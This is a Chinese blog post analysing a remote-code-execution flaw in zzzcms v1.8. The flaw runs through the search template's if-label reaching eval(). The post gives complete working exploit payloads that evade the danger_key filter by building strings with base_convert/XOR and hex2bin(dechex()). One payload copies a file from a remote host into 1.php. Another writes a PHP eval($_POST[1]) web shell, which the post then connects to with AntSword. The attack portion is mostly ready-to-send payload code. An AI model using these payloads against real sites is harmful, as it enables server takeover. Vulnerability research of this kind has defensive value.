弄了个博客发一篇文章来测试一下,这是十月份在公司审计的一个cms当时的最新版存在的一个可以shell的rce,有一个payload很有意思记得好像是参考的安全客的一篇文章,然后自己构造了一个payload也能打成功。
漏洞分析
1.首先到zzzcms的官网上下载zzzcms v1.8的安装包。
2.入口文件index.php
1 | <?php |
2.首先跟进zzz_client.php文件:
1 | ...... |
3.然后会解析需要的模板,也是漏洞开始的地方,然后跟进\zzzcms\inc\zzz_template.php的parserCommom函数,其内部实现如下:
1 | class ParserTemplate { |
4.跟进parserlocation()函数,当$location的值为’search’时,调用parsersearch函数后函数返回$zcontent,然后渲染成HTML,因此重点关注parsersearch函数,其主要实现如下:
1 | function parserSearch( $zcontent ) { |
5.然后到1829行$keys = danger_key(getform( ‘keys’, ‘cookie’ )),其中调用了getform函数,getform函数会从REQUEST中获取keys的值,然后使用txt_html对$data进行编码,最后返回编码后的值。
1 | function getform( $name, $source = 'both', $type = NULL, $default = NULL ) { |
6.然后继续回到第三点中的parserCommom方法,在调用parserlocation后会调用parserIfLabel方法,跟进parserIfLabel方法,$zcontent是parserlocation的返回值。danger_key()方法用于过滤危险字符,返回过滤后的值并赋值给$ifstr,接着将$ifstr传递给eval函数,执行完成后返回过滤后的$zcontent,最后渲染$zcontent的值。
1 | public |
7.整个调用过程如下图所示:
过滤函数分析
danger_key会过滤很多常用函数,有关命令执行以及写文件的函数都已被过滤,部分编码函数decode,chr等也不能利用,但是类似array_map,array_filter,uasort等回调函数并没有进行过滤。
同时会过滤常见的字符,比如这里会将单引号、双引号等特殊字符html编码
1 | function danger_key($s,$type='') { |
构造payload
array_map
array_map主要作用是为数组的每个元素应用回调函数。
用法:array_map ( callable $callback , array $array1 [, array $… ] ) : array
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 array_map() 返回一个 array,数组内容为 array1 的元素按索引顺序为参数调用 callback 后的结果(有更多数组时,还会传入 … 的元素)。 callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。
payload
1 | array_map(copy,array('http://127.0.0.1/1'),array('./1.php')); |
copy作为回调函数作用是拷贝文件,将第一个参数(源文件路径)拷贝到第二个参数(目标路径),通过array_map函数对其传参。这样我们便可拷贝远程服务器的文件到目标路径实现文件上传。
由于上述过滤规则会导致/‘等字符无法使用,故此处考虑使用base_convert函数
base_convert ( string $number , int $frombase , int $tobase ) : string
为了能表示上述payload 的英文字符,这里需要考虑使用36进制,特殊符号可以通过异或的方式得到,具体实现如下:
符号 | 表达式 |
---|---|
[ | base_convert(1, 10, 36) ^ base_convert(13, 16, 36) |
] | base_convert(1, 10, 36) ^ base_convert(15, 16, 36) |
\ | base_convert(1, 10, 36) ^ base_convert(16, 16, 36) |
^ | base_convert(1, 10, 36) ^ base_convert(18, 16, 36) |
_ | base_convert(1, 10, 36) ^ base_convert(17, 16, 36) |
` | base_convert(16, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(6, 10, 36) |
+ | base_convert(12, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(34, 10, 36) |
( | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(12, 10, 36) |
) | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(11, 10, 36) |
/ | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(13, 10, 36) |
. | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(14, 10, 36) |
< | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(32, 10, 36) |
> | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(30, 10, 36) |
= | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(31, 10, 36) |
? | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(29, 10, 36) |
: | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(26, 10, 36) |
; | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(25, 10, 36) |
$ | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(24, 10, 36) |
% | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(23, 10, 36) |
& | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(22, 10, 36) |
‘ | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(21, 10, 36) |
base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(20, 10, 36) | |
! | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(19, 10, 36) |
“ | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(18, 10, 36) |
# | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(17, 10, 36) |
, | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(16, 10, 36) |
* | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(10, 10, 36) |
| | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(7, 10, 36) |
{ | base_convert(2, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(33, 10, 36) |
} | base_convert(14, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(35, 10, 36) |
~ | base_convert(35, 10, 36) ^ base_convert(1, 10, 36) ^ base_convert(5, 10, 36) |
@ | base_convert(1, 10, 36) ^ base_convert(26, 10, 36) |
完整的payload如下:
1 | {if:array_map(base_convert(591910,10,36), array(base_convert(831805,10,36). (base_convert(14,10,36)^base_convert(1,10,36)^base_convert(23,10,36)). (base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)). (base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(127). (base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(0). (base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(0). (base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(1). (base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)). (base_convert(1,10,36))),array((base_convert(1,10,36)). (base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)). (base_convert(33037,10,36))))}{end if} |
发送上述payload会在search目录下生成1.php文件。
访问/zzzcms/search/1.php,蚁剑连接getshell。
payload2
1 | array_map(file_put_contents,array('./1.php'),array('<?PHP eval($_POST[1]);')); |
需要利用四个函数:
1 | hexdec — 十六进制转换为十进制 |
通过base_convert异或构造特殊字符过于繁琐,这里还可以利用hex2bin()和dechex()函数。
首先将字符串通过bin2hex()函数编码成十六进制,由于payload中不能存在引号,编码后的结果需要再一次通过hexdec()函数转码成十进制,最后利用hex2bin(dechex(需要解码的字符)还原字符串。构造出payload如下:
1 | {if:array_map((hex2bin(dechex(6711660)).hex2bin(dechex(6643568)).hex2bin(dechex(1970560867)).hex2bin(dechex(1869509733)).hex2bin(dechex(7238771))) ,array(hex2bin(dechex(774844718)).hex2bin(dechex(7366768))),array(hex2bin(dechex(1010770032)).hex2bin(dechex(1752178789)).hex2bin(dechex(1986096168)).hex2bin(dechex(610226255)).hex2bin(dechex(1398037297)).hex2bin(dechex(6105403))))}{end if} |
之所以这么拼接是因为本地测试的时候编码解码会出现截断的情况每次好像只能允许是四个字符,但是后来又看了一下hex2bin这个函数,官网说如果输入的十六进制字符串是奇数长数或者无效的十六进制字符串将会抛出 E_WARNING 级别的错误。理论上只要是控制偶数长度就能正常解码,也是后来才知道的也就懒得去看了反正这个payload也还能用哈哈哈。